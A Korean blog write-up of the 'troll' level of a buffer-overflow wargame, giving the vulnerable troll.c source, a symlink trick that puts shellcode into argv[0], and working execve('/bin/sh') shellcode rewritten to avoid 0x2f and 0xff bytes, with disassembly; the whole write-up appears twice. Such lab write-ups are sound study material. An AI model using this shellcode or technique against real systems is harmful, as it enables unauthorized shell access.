- 공유 링크 만들기
- X
- 이메일
- 기타 앱
troll.c의 소스코드는 다음과 같다.
버퍼오버플로우가 일어날 수 있는 스택구조는
[buffer][ebp][ret] 이고,
우리가 조작 가능한 영역은
[ebp][ret] 이다.
그리고 argv[0]을 제외한 영역은 모두 0으로 바뀌기 때문에 'argv[0]' 즉, 실행파일의 이름을 변경하여 쉘코드를 올릴 수 있다.
하지만 ./troll 실행파일이 지정되어 있기 때문에 심볼릭 링크를 이용해서 다른 이름으로 파일이 실행되게 해줘야 한다.
파일이름으로 사용되어질 쉘코드에는 0x2f('/') 가 사용되어서는 안되며, bash2를 사용하지 않으려면 0xff도 사용하지 말아야 한다.
기존에 우리가 자주 사용하던 25바이트짜리 execve("/bin//sh"); 쉘코드는 다음과 같다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
0xbffffca1: xor %eax,%eax
0xbffffca3: push %eax
0xbffffca4: push $0x68732f2f
0xbffffca9: push $0x6e69622f
0xbffffcae: mov %esp,%ebx
0xbffffcb0: push %eax
0xbffffcb1: push %ebx
0xbffffcb2: mov %esp,%ecx
0xbffffcb4: mov %eax,%edx
0xbffffcb6: mov $0xb,%al
0xbffffcb8: int $0x80
그러나 보시다시피 중간에 "/bin//sh" 문자열을 넣기 위해 0x2f가 사용되는것을 알 수 있다.
그러므로 중간에 문자열 넣는 부분만 수정해주면 된다.
그래서 나는 ebx에다가 4바이트로 표현되는 값을 넣은다음 4바이트를 다시 더해줘서 해당값을 완성시킨다음 push ebp 하는 방식으로 변경해주었다.
\x31\xc0\x50\xbb\x31\x3f\x74\x34\x81\xc3\xfe\xef\xfe\x35\x53\xbb\x31\x63\x6a\x38\x81\xc3\xfe\xfe\xfe\x35\x53\x90\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
0xbffffc60: xor %eax,%eax
0xbffffc62: push %eax
0xbffffc63: mov $0x34743f31,%ebx
0xbffffc68: add $0x33feeffe,%ebx
0xbffffc6e: push %ebx
0xbffffc6f: mov $0x386a6331,%ebx
0xbffffc74: add $0x35fefefe,%ebx
0xbffffc7a: push %ebx
0xbffffc7b: nop
0xbffffc7c: mov %esp,%ebx
0xbffffc7e: push %eax
0xbffffc7f: push %ebx
0xbffffc80: mov %esp,%ecx
0xbffffc82: mov %eax,%edx
0xbffffc84: mov $0xb,%al
0xbffffc86: int $0x80
위 쉘코드는 bash2를 사용하지 않고 클리어하기 위해 0xff도 제거해주었다.
그리고 문자열을 모두 스택에 올린 다음. 즉, push %ebp 하고나서 다음 어셈이 꼬이는 바람에 중간에 nop 을 넣어줬다. 결국 40바이트로 깔끔하게 완성되었다.
심볼릭 링크로 troll의 파일명을 nop과 같이 넣고 변경해주어 실행시켜주고, 변경된 파일명(쉘코드)가 존재할 위치인 argv[0]이 있는 적당한 메모리로 ret을 해주면 쉘이 얻어진다.
extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; // here is changed if(argc != 2){ printf("argc must be two!\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // one more! memset(argv[1], 0, strlen(argv[1])); }
버퍼오버플로우가 일어날 수 있는 스택구조는
[buffer][ebp][ret] 이고,
우리가 조작 가능한 영역은
[ebp][ret] 이다.
그리고 argv[0]을 제외한 영역은 모두 0으로 바뀌기 때문에 'argv[0]' 즉, 실행파일의 이름을 변경하여 쉘코드를 올릴 수 있다.
하지만 ./troll 실행파일이 지정되어 있기 때문에 심볼릭 링크를 이용해서 다른 이름으로 파일이 실행되게 해줘야 한다.
파일이름으로 사용되어질 쉘코드에는 0x2f('/') 가 사용되어서는 안되며, bash2를 사용하지 않으려면 0xff도 사용하지 말아야 한다.
기존에 우리가 자주 사용하던 25바이트짜리 execve("/bin//sh"); 쉘코드는 다음과 같다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
0xbffffca1: xor %eax,%eax
0xbffffca3: push %eax
0xbffffca4: push $0x68732f2f
0xbffffca9: push $0x6e69622f
0xbffffcae: mov %esp,%ebx
0xbffffcb0: push %eax
0xbffffcb1: push %ebx
0xbffffcb2: mov %esp,%ecx
0xbffffcb4: mov %eax,%edx
0xbffffcb6: mov $0xb,%al
0xbffffcb8: int $0x80
그러나 보시다시피 중간에 "/bin//sh" 문자열을 넣기 위해 0x2f가 사용되는것을 알 수 있다.
그러므로 중간에 문자열 넣는 부분만 수정해주면 된다.
그래서 나는 ebx에다가 4바이트로 표현되는 값을 넣은다음 4바이트를 다시 더해줘서 해당값을 완성시킨다음 push ebp 하는 방식으로 변경해주었다.
\x31\xc0\x50\xbb\x31\x3f\x74\x34\x81\xc3\xfe\xef\xfe\x35\x53\xbb\x31\x63\x6a\x38\x81\xc3\xfe\xfe\xfe\x35\x53\x90\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
0xbffffc60: xor %eax,%eax
0xbffffc62: push %eax
0xbffffc63: mov $0x34743f31,%ebx
0xbffffc68: add $0x33feeffe,%ebx
0xbffffc6e: push %ebx
0xbffffc6f: mov $0x386a6331,%ebx
0xbffffc74: add $0x35fefefe,%ebx
0xbffffc7a: push %ebx
0xbffffc7b: nop
0xbffffc7c: mov %esp,%ebx
0xbffffc7e: push %eax
0xbffffc7f: push %ebx
0xbffffc80: mov %esp,%ecx
0xbffffc82: mov %eax,%edx
0xbffffc84: mov $0xb,%al
0xbffffc86: int $0x80
위 쉘코드는 bash2를 사용하지 않고 클리어하기 위해 0xff도 제거해주었다.
그리고 문자열을 모두 스택에 올린 다음. 즉, push %ebp 하고나서 다음 어셈이 꼬이는 바람에 중간에 nop 을 넣어줬다. 결국 40바이트로 깔끔하게 완성되었다.
심볼릭 링크로 troll의 파일명을 nop과 같이 넣고 변경해주어 실행시켜주고, 변경된 파일명(쉘코드)가 존재할 위치인 argv[0]이 있는 적당한 메모리로 ret을 해주면 쉘이 얻어진다.
댓글
댓글 쓰기